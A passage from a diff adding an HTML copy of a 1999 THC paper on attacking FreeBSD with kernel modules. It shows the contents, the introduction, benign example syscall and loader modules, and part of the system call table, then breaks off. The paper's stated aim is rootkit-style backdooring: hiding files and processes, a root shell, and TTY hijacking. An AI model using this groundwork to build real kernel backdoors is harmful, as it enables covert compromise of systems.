--- /dev/null
+<HTML>
+<TITLE>- Attacking FreeBSD with Kernel Modules -</title>
+<BODY BGCOLOR=WHITE>
+<CENTER>
+<H1><FONT COLOR=#0000FF>
+ - Attacking FreeBSD with Kernel Modules -
+</H1></FONT>
+
+
+<H4>
+ The System Call Approach
+</H4>
+
+</CENTER>
+<P>
+<H4><FONT COLOR=#FF0000>
+written by pragmatic / THC, version 1.0<br>
+released 06/1999<br>
+</H4></font>
+
+
+
+<P><P><P><P><P><P>
+
+<CENTER>
+<H3>
+ CONTENTS
+</H3>
+</CENTER>
+
+
+
+
+<A HREF="#Introduction"> Introduction</A><BR>
+<p>
+<b>
+<A HREF="#I.">I.Basics</A><BR>
+</b>
+<A HREF="#I.1.">1. FreeBSD 'Modules' - 'Hello World' Syscall Example</A><BR>
+<A HREF="#I.2.">2. Link Files and Modules - the difference </A><BR>
+<A HREF="#I.2.1.">2.1 A two in one example</A><BR>
+<A HREF="#I.3.">3. Diary of a module load process from the kernel
+perspective</A><BR>
+<A HREF="#I.4.">4. Other kinds of modules</A><BR>
+<A HREF="#I.5.">5. MISC modules with the KLD scheme</A><BR>
+<A HREF="#I.6.">6. System calls on FreeBSD</A><BR>
+<A HREF="#I.6.1."> 6.1 Important system calls for hacking</A><BR>
+<A HREF="#I.7.">7. Important Kernel structures / lists</A><BR>
+<A HREF="#I.7.1."> 7.1 TheSeeker - or how to access kernel lists</A><BR>
+<A HREF="#I.8.">8. From User to kernel space and back</A><BR>
+<A HREF="#I.9.">9. Last Words</A><BR>
+<p>
+<p>
+<b>
+<A HREF="#II.">II. Attacking with kernel code</A><BR>
+</b>
+<A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
+<A HREF="#II.2.">2. Filesystem related hacks</A><BR>
+<A HREF="#II.2.1.">2.1 How to hide files</A><BR>
+<A HREF="#II.2.2.">2.2 How to hide the file contents</A><BR>
+<A HREF="#II.2.3.">2.3 And the rest ?</A><BR>
+<A HREF="#II.3.">3. Process related hacks</A><BR>
+<A HREF="#II.3.1.">3.1 How to hide any process</A><BR>
+<A HREF="#II.3.2.">3.2 backdoor 'rootshell'</A><BR>
+<A HREF="#II.4.">4. file execution redirection</A><BR>
+<A HREF="#II.5.">5. TTY hijacking</A><BR>
+<A HREF="#II.6.">6. Hiding the module</A><BR>
+<A HREF="#II.7.">7. Last words</A><BR>
+<p>
+<p>
+<b>
+<A HREF="#III.">III. Securing the kernel</A><BR>
+</b>
+<A HREF="#III.1.">1. How to detect sysent[] modifications</A><BR>
+<A HREF="#III.2.">2. How to restore old system calls</A><BR>
+<A HREF="#III.3.">3. General ideas for using MD5 Hashes</A><BR>
+<A HREF="#III.4.">4. How to see a hidden process</A><BR>
+<p>
+<p>
+<b>
+<A HREF="#IV.">IV. Last things to mention</A><BR>
+</b>
+<A HREF="#IV.1.">1. What about OpenBSD and NetBSD</A><BR>
+<A HREF="#IV.2.">2. Links</A><BR>
+<A HREF="#IV.3.">3. Greetings</A><BR>
+
+
+<p>
+<H3><A NAME="Introduction"></A>Introduction</H3>
+<p>
+FreeBSD is an often used server operating system. Lots of ISPs, universities
+and some firms are using it. After releasing my Linux LKM text van Hauser asked
+my to take a look at the FreeBSD kernel, so here we go.<br>
+This text will show you that most Linux LKMs can be ported to BSD systems
+(FreeBSD). On FreeBSD we can even do some things that were harder to
+implement on Linux systems. This text only deals with ways to
+backdoor/intercept system calls. I had a little conversation with Solar
+Designer who tought me that there are lots of other ways to attack the FreeBSD
+kernel, but this will come in a further release.<br>
+For those people new to BSD and module techniques I really suggest reading my
+'(nearly) Complete Linux Loadable Kernel Module' article
+(http://www.thc.org). Of course this FreeBSD text has a basic section, but
+the basic part of the Linux text is much more comprehensive and easier to
+understand. The Linux text will give you the basic ideas for understanding
+most stuff I mention here. People who already did some kernel coding under
+FreeBSD, who can read and understand kernel code and those who did some LKM
+hacking on Linux boxes can read on without any problems. Bear in mind that the
+main aim of this text is to show some new ideas to attack/backdoor FreeBSD
+systems, and not to teach you FreeBSD kernel coding. So I made it as short and
+complete as I can. I developed all modules on a FreeBSD 3.1 system (x86). I
+used the new KLD scheme - introduced by FreeBSD 3.0 - to insert kernel code.
+Older FreeBSD systems which work with LKMs (/dev/lkm) can also be used, but
+there must be some modifications to the code in order to make them work. The
+general ideas in this text should also work on OpenBSD and NetBSD. For kernel
+gurus : Don't blame me for the bad coding style I used in this paper
+sometimes, but very compact code is harder to understand,to read and even
+harder to explain. And please remember : This text is for educational purpose
+only !<br>
+ Note : I only know of one text dealing with the problems and solutions
+I describe here. That older text written by halflife (see Phrack Magazine
+Volume 7, Issue 51 September 01, 1997, article 09) showed how to hide LKMs
+under FreeBSD 2.2 systems and how to hide certain files from directory
+listings (the goal was to avoid integrity checks). Due to the fact that you
+can do much more stuff with modules and that FreeBSD changed a lot (LKMs are
+gone...) I wrote this text.
+
+<p>
+<H3><A NAME="I."></A>I. Basics</H3>
+<p>
+This section will give you a very brief and easy (so partly incomplete) but
+working overview of the FreeBSD way to insert code via modules. <br>
+The problem concerning FreeBSD is the lack of documentation. There is only a
+very small and elite group of programmers working on the kernel. At the time
+of writing (May '99) I was not able to find any
+good documentation helping us to dive deep into the kernel. So we have to go
+the hardest but best way : reading source code. Because of this there may be
+some minor errors in some explainations I give you, but every piece of code is
+working and the general view should be correct ;)!<br>
+<p>
+<H3><A NAME="I.1."</A>1. FreeBSD 'Modules' - 'Hello World' Syscall Example</H3>
+<p>
+Before starting to explain I will present you a module example which installs
+a system call that will print a simple message on the screen. I also included
+the user space part. You may know this example, I took it from the FreeBSD
+distribution (I only added some comments).
+
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+
+
+/*this is the function which represents our system call*/
+static int
+hello (struct proc *p, void *arg)
+{
+ printf ("hello kernel\n");
+ return 0;
+}
+
+/*on FreeBSD every system call is described by a sysent structure, which holds
+the corresponding system call function (here hello) and the appropriate count
+of arguments (here 0)*/
+
+static struct sysent hello_sysent = {
+ 0, /* sy_narg */
+ hello /* sy_call */
+};
+
+
+/*every system call has a certain number (called slot or offset on BSD). This
+number represents the index in the global sysent list holding every syscall.
+BSD is able to search a free slot for a syscall (by setting it to NO_SYSCALL)
+which is used here.*/
+
+static int offset = NO_SYSCALL;
+
+/*this function can be compared to the init_module & cleanup_module functions
+on Linux. The differentiation is done via the cmd variable.*/
+
+static int
+load (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+
+ /*what do we have?*/
+ switch (cmd) {
+ /*we have a load*/
+ case MOD_LOAD :
+ printf ("syscall loaded at %d\n", offset);
+ break;
+ /*we have an unload*/
+ case MOD_UNLOAD :
+ printf ("syscall unloaded from %d\n", offset);
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+/*This is the most tricky part of this module. That macro will install the
+module and calls the required functions. We will take a deeper look at this
+later.*/
+SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
+</xmp>
+
+Compiling this module is very easy on FreeBSD. We just use an universal
+Makefile which is very easy because of the nice MK files used by FreeBSD (BSD).
+Here we go :
+<xmp>
+SRCS = helloworld.c
+KMOD = helloworld
+KO = ${KMOD}.ko
+KLDMOD = t
+
+
+.include <bsd.kmod.mk>
+</xmp>
+Aren't those MK file a good idea :). So after comiling you get a file called
+helloworld.ko. This file is in ELF format (so no pure object file). <br>
+Take a look at the FreeBSD user space example calling this system call.
+<xmp>
+#include <stdio.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/module.h>
+
+int
+main(int argc, char **argv)
+{
+ char *endptr;
+ int syscall_num;
+ struct module_stat stat;
+
+ stat.version = sizeof(stat);
+ /*modstat will retrieve the module_stat structure for our module named
+ syscall (see the SYSCALL_MODULE macro which sets the name to syscall)*/
+ modstat(modfind("syscall"), &stat);
+ /*extract the slot (syscall) number*/
+ syscall_num = stat.data.intval;
+ /*and call it without any arguments (because we didn't include support for
+ arguments*/
+ return syscall (syscall_num);
+}
+</xmp>
+You can compile this the following way (it's too easy to waste time with a
+Makefile) :
+<xmp>
+# gcc -o call call.c
+</xmp>
+Now you have a working module which will install a system call you can
+call from user space with this little call program.
+You can load the module with
+<xmp>
+# kldload ./helloworld.ko
+</xmp>
+and unload with
+<xmp>
+# kldunlod helloworld
+</xmp>
+with
+<xmp>
+# kldstat
+</xmp>
+you will get a list of loaded link files (NOT modules).
+Before reading on, you should understand the global scheme used in the sources
+I presented here.
+
+<p>
+<H3><A NAME="I.2."></A>2. Link Files and Modules - the difference</H3>
+<p>
+
+There is a big difference between the output presented by kldstat and the
+loaded modules. A module on FreeBSD means some part of the kernel, an exec
+driver, a system call module, a device driver... The kernel itself contains
+some modules (FS support for example). A link file on the other hand is
+something like a wrapper which can hold lots of modules. So our helloworld
+example from above is one module wrapped in the link file helloworld.ko.<br>
+So in general words : A module is just a bit of structured kernel code that
+represents a certain driver (exec format, device, for example) or whatever. A
+link file is just a file holding one or more modules which will be inserted
+into the kernel. <br>
+For those who want to know it exactly; here is the definition by Doug Rabson :
+<xmp>
+Kernel Linker
+The kernel linker simply dynamically loads code into the kernel. A
+symbol table is included in the kernel by ld(1) in the same way as
+for dynamically linked user programs. As files are loaded, the code
+is relocated and any unresolved symbols are matched against the
+kernel's symbol table. Files can also include a list of dependencies
+to allow code which is common to several files to be loaded
+automatically. The kernel can load files without help from a user
+program (in contrast to the older LKM system) and the kernel
+bootstrap can also pre-load files, allowing devices which needed
+before the root disk is available to be dynamically loaded instead of
+statically linked into the kernel.
+As code is loaded, any SYSINITs which it contains are
+run. This makes it possible to write code which is identical whether
+it is statically or dynamically loaded. When a file is unloaded, a
+similar list of functions defined by SYSUNINIT is run.
+<p>
+Modules
+Layered on top of the kernel linker is the module system. It uses
+a SYSINIT to implement a simple event system for code which
+is loaded. The idea is that a piece of code defines a module (using
+DECLARE_MODULE) and supplies a handler routine. The handler
+is called at load, unload and shutdown to allow the module to
+initialise itself. Various kernel subsystems provide generic handler
+functions for registering filesystems, devices or whatever and they
+generally provide a macro which wraps DECLARE_MODULE (e.g.
+VFS_SET).
+</xmp>
+I hope you got the idea, if not read on and re-read this part until you
+understand it totally.
+
+<p>
+<H3><A NAME="I.2.1."></A>2.1 A two in one example</H3>
+<p>
+
+This example is just a proof of concept. It shows how to pack two modules in
+one file using the linker mechanics (two SYSINITs wrapped by SYSCALL_MODULE
+macro).
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+
+/*this is the function our first syscall module (syscall_1) will use*/
+static int
+hello_1 (struct proc *p, void *arg)
+{
+ printf ("hello kernel from syscall_1\n");
+ return 0;
+}
+
+/*this is the function our second syscall module (syscall_2) will use*/
+static int
+hello_2 (struct proc *p, void *arg)
+{
+ printf ("hello kernel from syscall_2\n");
+ return 0;
+}
+
+
+/*first sysent structure which describes the first system call*/
+static struct sysent hello_sysent_1 = {
+ 0, /* sy_narg */
+ hello_1 /* sy_call */
+};
+
+
+/*second sysent structure which describes the second system call*/
+static struct sysent hello_sysent_2 = {
+ 0, /* sy_narg */
+ hello_2 /* sy_call */
+};
+
+
+/*both system call slots (numbers) should be selected by the kernel*/
+static int offset_1 = NO_SYSCALL;
+static int offset_2 = NO_SYSCALL;
+
+/*the two load functions*/
+static int
+load_1 (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+
+ switch (cmd) {
+ case MOD_LOAD :
+ printf ("syscall_1 loaded at %d\n", offset_1);
+ break;
+ case MOD_UNLOAD :
+ printf ("syscall_1 unloaded from %d\n", offset_1);
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+static int
+load_2 (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+
+ switch (cmd) {
+ case MOD_LOAD :
+ printf ("syscall_2 loaded at %d\n", offset_2);
+ break;
+ case MOD_UNLOAD :
+ printf ("syscall_2 unloaded from %d\n", offset_2);
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+/*install the first module (NAME : syscall_1)*/
+SYSCALL_MODULE(syscall_1, &offset_1, &hello_sysent_1, load_1, NULL);
+
+/*install the second module (NAME : syscall_2)*/
+SYSCALL_MODULE(syscall_2, &offset_2, &hello_sysent_2, load_2, NULL);
+
+</xmp>
+You can use the same Makefile for the link file above. As you can see I
+duplicated every item in this file. This way I implemented two totally
+independend modules packed in one link file. The name of the first module is
+'syscall_1' and the second module's name is 'syscall_2'.<br>
+The following piece of code is the needed user space part which will find
+both modules and call their system calls.
+<xmp>
+#include <stdio.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/module.h>
+
+
+int
+main(int argc, char **argv)
+{
+ char *endptr;
+ int syscall_num;
+ struct module_stat stat;
+
+ /*first module*/
+ stat.version = sizeof(stat);
+ modstat(modfind("syscall_1"), &stat);
+ syscall_num = stat.data.intval;
+ syscall (syscall_num);
+
+ /*second module*/
+ stat.version = sizeof(stat);
+ modstat(modfind("syscall_2"), &stat);
+ syscall_num = stat.data.intval;
+ syscall (syscall_num);
+}
+</xmp>
+After this example you should understand the concept of packing modules in
+link files.
+
+<p>
+<H3><A NAME="I.3."></A>3. Diary of a module load process from the kernel
+perspective</H3>
+<p>
+For total Beginners : I suppose those without a going C and BSD knowledge have
+to 'fight' with this part but I can't loose too many words here (the text would
+become far too big); so I pack everything in a short summary. This section is
+only a very brief and not very deep introduction into the module / link file
+handling made by the kernel, but it is enough to understand the rest of this
+text. <br>
+The following code represents the helloworld example in a form where I
+'resolved' the SYSCALL_MODULE macro. I just coded everything by hand (only the
+last part [SYSCALL_MODULE macro] changed) so things become clearer:
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+
+static int
+hello (struct proc *p, void *arg)
+{
+ printf ("hello kernel from syscall_1\n");
+ return 0;
+}
+
+static struct sysent hello_sysent = {
+ 0, /* sy_narg */
+ hello /* sy_call */
+};
+
+static int offset = NO_SYSCALL;
+
+static int
+load (struct module *module, int cmd, void *arg)
+{
+ int error = 0;
+
+ switch (cmd) {
+ case MOD_LOAD :
+ printf ("syscall loaded at %d\n", offset);
+ break;
+ case MOD_UNLOAD :
+ printf ("syscall unloaded from %d\n", offset);
+ break;
+ default :
+ error = EINVAL;
+ break;
+ }
+ return error;
+}
+
+
+/*The following lines do the same as :
+--------------------------------------
+SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
+*/
+
+/*fill the X_syscall_mod structure made only for syscall modules*/
+static struct syscall_module_data syscall_syscall_mod = {
+ load, NULL, &offset, &hello_sysent
+};
+
+/*fill the module structure; the same for any module*/
+static moduledata_t syscall_mod = {
+ "syscall",
+ syscall_module_handler, /*special handler for syscall modules*/
+ &syscall_syscall_mod /*speciel syscall module data*/
+};
+
+/*the sysinit structure for starting / registering*/
+static struct sysinit syscall_sys_init = {
+ SI_SUB_DRIVERS, /*SUBSYSTEM*/
+ SI_ORDER_MIDDLE, /*ORDER*/
+ module_register_init, /*the same for any module, register function*/
+ &syscall_mod /*module specific data*/
+};
+
+/*we want hack at this layer, it just initializing some regions*/
+static void const * const
+__set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
+__asm(".section .set.""sysinit_set"",\"aw\"");
+__asm(".long " "syscall_sys_init");
+__asm(".previous");
+
+</xmp>
+Now let's start from the kldload command which is implemented as a system call
+in kern_linker.c. This system call first checks the securelevel (if > 0 then it
+won't work) after this it will check for UID=0. Then the kernel checks
+whether this link file is already loaded, if so it will abort. If everything
+is ok so far, it will call linker_load_file (kern_linker.c). After some checks
+this function will fill a linker_file structure and pass it to
+linker_file_sysinit (kern_linker.c). This function will use the
+syscall_sysinit_set structure (see example above) for initialization. That
+structure is defined in kernel.h. Normally it is defined by macros
+(we used the hand-made approach to see things clear). Here is the structure :
+<xmp>
+struct sysinit {
+ unsigned int subsystem; /* subsystem identifier*/
+ unsigned int order; /* init order within subsystem*/
+ void (*func) __P((void *)); /* init function*/
+ void *udata; /* multiplexer/argument */
+ si_elem_t type; /* sysinit_elem_type*/
+};
+</xmp>
+The type field is set automatically so I did not set it by hand. The subsystem
+and order codes are also defined in kernel.h. The function pointer points to a
+function that is called at module startup with udata as parameter. As you can
+see in the example above the module_register_init function (kern_module.c) is
+called with the module data structure holding the module specific data. So our
+next step must be this function. <br>
+This function extracts the data from the argument it gets (the module data
+structure). After this the module_register function (kern_module.c) is called
+with the extracted data. This function first sets some fields of the module
+structure (represented by a pointer to it called module_t) which is used by the
+kernel to descibe any loaded module. After setting every field the module
+(represented by the now filled module structure) is added to the global
+module list (called modules). For a better understanding I put the module
+structure here plus a short description :
+<xmp>
+struct module {
+ /*the first two entries are just for global module handling*/
+ TAILQ_ENTRY(module) link;
+ TAILQ_ENTRY(module) flink;
+ /*this linker_file structure describes the link file the module comes from*/
+ struct linker_file* file;
+ /*references to this module (reference cound)*/
+ int refs;
+ /*id of this module*/
+ int id;
+ /*name of this module*/
+ char *name;
+ /*the mod handler (in our case the load function)*/
+ modeventhand_t handler;
+ /*arguments to the mod handler*/
+ void *arg;
+ /*some - for us not very interesting - data fields*/
+ modspecific_t data;
+}
+</xmp>
+Finally the module_register function calls the modeventhand_t field of the
+module structure (in our case : the syscall_module_handler) with the MOD_LOAD
+command (cmd see example) argument. This function is defined in
+kern_syscalls.c. On MOD_LOAD it calls syscall_register
+(kern_syscalls.c) with the new sysentry and other stuff needed for installing
+the system call. So let's say that syscall_register installed the system call
+and returns (this stuff is not so interesting for us, we will use a more easy
+way to 'hack' system calls). The last piece of code in syscall_module_handler
+calls the self-defined load function (see example) with the same command field
+(on startup MOD_LOAD). This way the module developer is able to do his own
+stuff on LOAD and UNLOAD.<br>
+Now we are ready. The module is loaded and started, and the system call is
+installed. Recall that this example was written for a specific module - a
+SYSCALL_MODULE. There are other module types (like device drivers etc.).
+Please read the Kernel sources again and again and compare them to this part.
+Everything should be clear.
+
+<p>
+<H3><A NAME="I.4."></A>4. Other kinds of module</h3>
+<p>
+As I said before the helloworld example module is a special so called
+SYSCALL_MODULE that is used to install a certain system call. FreeBSD provides
+other macros and module layouts for different aims. Take a look at the driver
+example that is shipped with FreeBSD. I won't discuss it here, because we will
+never use the standard way of coding FreeBSD forces us to. <br>
+The next section will show how to become independent from those standard
+module layouts.
+
+<p>
+<H3><A NAME="I.5."></A>5. MISC modules with the KLD scheme</h3>
+<p>
+When I first coded some modules on FreeBSD (on an older 2.2.x release) I was
+able to use so called MISC_MODULES. Instead of providing a certain layout for
+special purposes (like SYSCALL_MODULE for system calls etc.) a MISC_MODULE was
+just some piece of code loaded into the kernel, and calling the 'load' function
+written by me. This scheme was ideal for hacking, because I was not forced to
+implement a special kind of module. I had a fast and easy way to insert any
+kernel code. These days are gone on FreeBSD 3.x because the KLD scheme
+provides no MISC_MODULES like the LKM one did. So my first modules (like a
+hide module etc.) did the hacking part, but also installed a system call (I
+used SYSCALL_MODULES). This was no good solution. So I decided to create a
+general module layout which will do the same like the old MISC_MODULES on LKM
+systems : just call a 'load' function and nothing else. <br>
+The following piece of code represents a MISC_MODULE for FreeBSD 3.x
+systems using the KLD method :
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+
+/*our own 'load' function*/
+static int
+dummy_handler(struct module *mod, int what, void *arg)
+{
+ switch(what)
+ {
+ case MOD_LOAD :
+ printf("LOAD\n");
+ break;
+ case MOD_UNLOAD :
+ printf("UNLOAD\n");
+ break;
+ }
+ return 0;
+}
+
+
+/*NOTE : The following stuff 'links' our module into the kernel and calls
+ dummy_handler as our installation routine. I didn't use any macro
+ supplied by some header file for making module coding a bit easier.
+ But this way you will see every piece of code responsible for loading
+ the module.
+*/
+
+/*fill the module structure*/
+static moduledata_t dummy_mod = {
+ "dummy",
+ dummy_handler, /*normally you would find something like
+ syscall_module_handler here*/
+ NULL /*normally you would find something like
+ syscall_module_data here (argument for the
+ syscall_module_handler)*/
+};
+
+/*the rest is the same*/
+static struct sysinit syscall_sys_init = {
+ SI_SUB_DRIVERS, /*SUBSYSTEM*/
+ SI_ORDER_MIDDLE, /*ORDER*/
+ module_register_init, /*the same for any module*/
+ &dummy_mod /*data*/
+};
+
+
+/*We can leave this the same, it will work without modification...*/
+static void const * const
+__set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
+__asm(".section .set.""sysinit_set"",\"aw\"");
+__asm(".long " "syscall_sys_init");
+__asm(".previous");
+
+</xmp>
+Compile this module and load it. The only thing it will do is printing a string
+on load and unload. I must admit that the module above is a bit too long for
+everyday coding. So I use one macro defined by the system which will make the
+module a bit shorter but acting the same way. Replace the last lines with
+
+<xmp>
+...
+
+static moduledata_t dummy_mod = {
+ "dummy",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(dummy, dummy_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+</xmp>
+Now our module is quite short and works like a MISC_MODULE on LKM systems.
+Any code we want to execute on the kernel layer can be written into the
+dummy_handler function.
+
+<p>
+<H3><A NAME="I.6."></A>6. System calls on FreeBSD</h3>
+<p>
+My Linux LKM article did a quite good job in explaining the way system calls
+in general work. I won't repeat those words here, so I only give you BSD
+relevant and needed material.<br>
+The following list represents every system call that is present by startup on
+a FreeBSD 3.1 system (I took this list form init_sysents.c):
+<xmp>
+struct sysent sysent[] = {
+ { 0, (sy_call_t *)nosys }, /* 0 = syscall */
+ { 1, (sy_call_t *)exit }, /* 1 = exit */
+ { 0, (sy_call_t *)fork }, /* 2 = fork */
+ { 3, (sy_call_t *)read }, /* 3 = read */
+ { 3, (sy_call_t *)write }, /* 4 = write */
+ { 3, (sy_call_t *)open }, /* 5 = open */
+ { 1, (sy_call_t *)close }, /* 6 = close */
+ { 4, (sy_call_t *)wait4 }, /* 7 = wait4 */
+ { compat(2,creat) }, /* 8 = old creat */
+ { 2, (sy_call_t *)link }, /* 9 = link */
+ { 1, (sy_call_t *)unlink }, /* 10 = unlink */
+ { 0, (sy_call_t *)nosys }, /* 11 = obsolete execv */
+ { 1, (sy_call_t *)chdir }, /* 12 = chdir */
+ { 1, (sy_call_t *)fchdir }, /* 13 = fchdir */
+ { 3, (sy_call_t *)mknod }, /* 14 = mknod */
+ { 2, (sy_call_t *)chmod }, /* 15 = chmod */
+ { 3, (sy_call_t *)chown }, /* 16 = chown */
+ { 1, (sy_call_t *)obreak }, /* 17 = break */
+ { 3, (sy_call_t *)getfsstat }, /* 18 = getfsstat */
+ { compat(3,lseek) }, /* 19 = old lseek */
+ { 0, (sy_call_t *)getpid }, /* 20 = getpid */
+ { 4, (sy_call_t *)mount }, /* 21 = mount */
+ { 2, (sy_call_t *)unmount }, /* 22 = unmount */
+ { 1, (sy_call_t *)setuid }, /* 23 = setuid */
+ { 0, (sy_call_t *)getuid }, /* 24 = getuid */
+ { 0, (sy_call_t *)geteuid }, /* 25 = geteuid */
+ { 4, (sy_call_t *)ptrace }, /* 26 = ptrace */
+ { 3, (sy_call_t *)recvmsg }, /* 27 = recvmsg */
+ { 3, (sy_call_t *)sendmsg }, /* 28 = sendmsg */
+ { 6, (sy_call_t *)recvfrom }, /* 29 = recvfrom */
+ { 3, (sy_call_t *)accept }, /* 30 = accept */
+ { 3, (sy_call_t *)getpeername }, /* 31 = getpeername */
+ { 3, (sy_call_t *)getsockname }, /* 32 = getsockname */
+ { 2, (sy_call_t *)access }, /* 33 = access */
+ { 2, (sy_call_t *)chflags }, /* 34 = chflags */
+ { 2, (sy_call_t *)fchflags }, /* 35 = fchflags */
+ { 0, (sy_call_t *)sync }, /* 36 = sync */
+ { 2, (sy_call_t *)kill }, /* 37 = kill */
+ { compat(2,stat) }, /* 38 = old stat */
+ { 0, (sy_call_t *)getppid }, /* 39 = getppid */
+ { compat(2,lstat) }, /* 40 = old lstat */
+ { 1, (sy_call_t *)dup }, /* 41 = dup */
+ { 0, (sy_call_t *)pipe }, /* 42 = pipe */
+ { 0, (sy_call_t *)getegid }, /* 43 = getegid */
+ { 4, (sy_call_t *)profil }, /* 44 = profil */
+ { 4, (sy_call_t *)ktrace }, /* 45 = ktrace */
+ { 3, (sy_call_t *)sigaction }, /* 46 = sigaction */
+ { 0, (sy_call_t *)getgid }, /* 47 = getgid */
+ { 2, (sy_call_t *)sigprocmask }, /* 48 = sigprocmask */
+ { 2, (sy_call_t *)getlogin }, /* 49 = getlogin */
+ { 1, (sy_call_t *)setlogin }, /* 50 = setlogin */
+ { 1, (sy_call_t *)acct }, /* 51 = acct */
+ { 0, (sy_call_t *)sigpending }, /* 52 = sigpending */
+ { 2, (sy_call_t *)sigaltstack }, /* 53 = sigaltstack */
+ { 3, (sy_call_t *)ioctl }, /* 54 = ioctl */
+ { 1, (sy_call_t *)reboot }, /* 55 = reboot */
+ { 1, (sy_call_t *)revoke }, /* 56 = revoke */
+ { 2, (sy_call_t *)symlink }, /* 57 = symlink */
+ { 3, (sy_call_t *)readlink }, /* 58 = readlink */
+ { 3, (sy_call_t *)execve }, /* 59 = execve */
+ { 1, (sy_call_t *)umask }, /* 60 = umask */
+ { 1, (sy_call_t *)chroot }, /* 61 = chroot */
+ { compat(2,fstat) }, /* 62 = old fstat */
+ { compat(4,getkerninfo) }, /* 63 = old getkerninfo */
+ { compat(0,getpagesize) }, /* 64 = old getpagesize */
+ { 3, (sy_call_t *)msync }, /* 65 = msync */
+ { 0, (sy_call_t *)vfork }, /* 66 = vfork */
+ { 0, (sy_call_t *)nosys }, /* 67 = obsolete vread */
+ { 0, (sy_call_t *)nosys }, /* 68 = obsolete vwrite */
+ { 1, (sy_call_t *)sbrk }, /* 69 = sbrk */
+ { 1, (sy_call_t *)sstk }, /* 70 = sstk */
+ { compat(6,mmap) }, /* 71 = old mmap */
+ { 1, (sy_call_t *)ovadvise }, /* 72 = vadvise */
+ { 2, (sy_call_t *)munmap }, /* 73 = munmap */
+ { 3, (sy_call_t *)mprotect }, /* 74 = mprotect */
+ { 3, (sy_call_t *)madvise }, /* 75 = madvise */
+ { 0, (sy_call_t *)nosys }, /* 76 = obsolete vhangup */
+ { 0, (sy_call_t *)nosys }, /* 77 = obsolete vlimit */
+ { 3, (sy_call_t *)mincore }, /* 78 = mincore */
+ { 2, (sy_call_t *)getgroups }, /* 79 = getgroups */
+ { 2, (sy_call_t *)setgroups }, /* 80 = setgroups */
+ { 0, (sy_call_t *)getpgrp }, /* 81 = getpgrp */
+ { 2, (sy_call_t *)setpgid }, /* 82 = setpgid */
+ { 3, (sy_call_t *)setitimer }, /* 83 = setitimer */
+ { compat(0,wait) }, /* 84 = old wait */
+ { 1, (sy_call_t *)swapon }, /* 85 = swapon */
+ { 2, (sy_call_t *)getitimer }, /* 86 = getitimer */
+ { compat(2,gethostname) }, /* 87 = old gethostname */
+ { compat(2,sethostname) }, /* 88 = old sethostname */
+ { 0, (sy_call_t *)getdtablesize }, /* 89 = getdtablesize */
+ { 2, (sy_call_t *)dup2 }, /* 90 = dup2 */
+ { 0, (sy_call_t *)nosys }, /* 91 = getdopt */
+ { 3, (sy_call_t *)fcntl }, /* 92 = fcntl */
+ { 5, (sy_call_t *)select }, /* 93 = select */
+ { 0, (sy_call_t *)nosys }, /* 94 = setdopt */
+ { 1, (sy_call_t *)fsync }, /* 95 = fsync */
+ { 3, (sy_call_t *)setpriority }, /* 96 = setpriority */
+ { 3, (sy_call_t *)socket }, /* 97 = socket */
+ { 3, (sy_call_t *)connect }, /* 98 = connect */
+ { compat(3,accept) }, /* 99 = old accept */
+ { 2, (sy_call_t *)getpriority }, /* 100 = getpriority */
+ { compat(4,send) }, /* 101 = old send */
+ { compat(4,recv) }, /* 102 = old recv */
+ { 1, (sy_call_t *)sigreturn }, /* 103 = sigreturn */
+ { 3, (sy_call_t *)bind }, /* 104 = bind */
+ { 5, (sy_call_t *)setsockopt }, /* 105 = setsockopt */
+ { 2, (sy_call_t *)listen }, /* 106 = listen */
+ { 0, (sy_call_t *)nosys }, /* 107 = obsolete vtimes */
+ { compat(3,sigvec) }, /* 108 = old sigvec */
+ { compat(1,sigblock) }, /* 109 = old sigblock */
+ { compat(1,sigsetmask) }, /* 110 = old sigsetmask */
+ { 1, (sy_call_t *)sigsuspend }, /* 111 = sigsuspend */
+ { compat(2,sigstack) }, /* 112 = old sigstack */
+ { compat(3,recvmsg) }, /* 113 = old recvmsg */
+ { compat(3,sendmsg) }, /* 114 = old sendmsg */
+ { 0, (sy_call_t *)nosys }, /* 115 = obsolete vtrace */
+ { 2, (sy_call_t *)gettimeofday }, /* 116 = gettimeofday */
+ { 2, (sy_call_t *)getrusage }, /* 117 = getrusage */
+ { 5, (sy_call_t *)getsockopt }, /* 118 = getsockopt */
+ { 0, (sy_call_t *)nosys }, /* 119 = resuba */
+ { 3, (sy_call_t *)readv }, /* 120 = readv */
+ { 3, (sy_call_t *)writev }, /* 121 = writev */
+ { 2, (sy_call_t *)settimeofday }, /* 122 = settimeofday */
+ { 3, (sy_call_t *)fchown }, /* 123 = fchown */
+ { 2, (sy_call_t *)fchmod }, /* 124 = fchmod */
+ { compat(6,recvfrom) }, /* 125 = old recvfrom */
+ { 2, (sy_call_t *)setreuid }, /* 126 = setreuid */
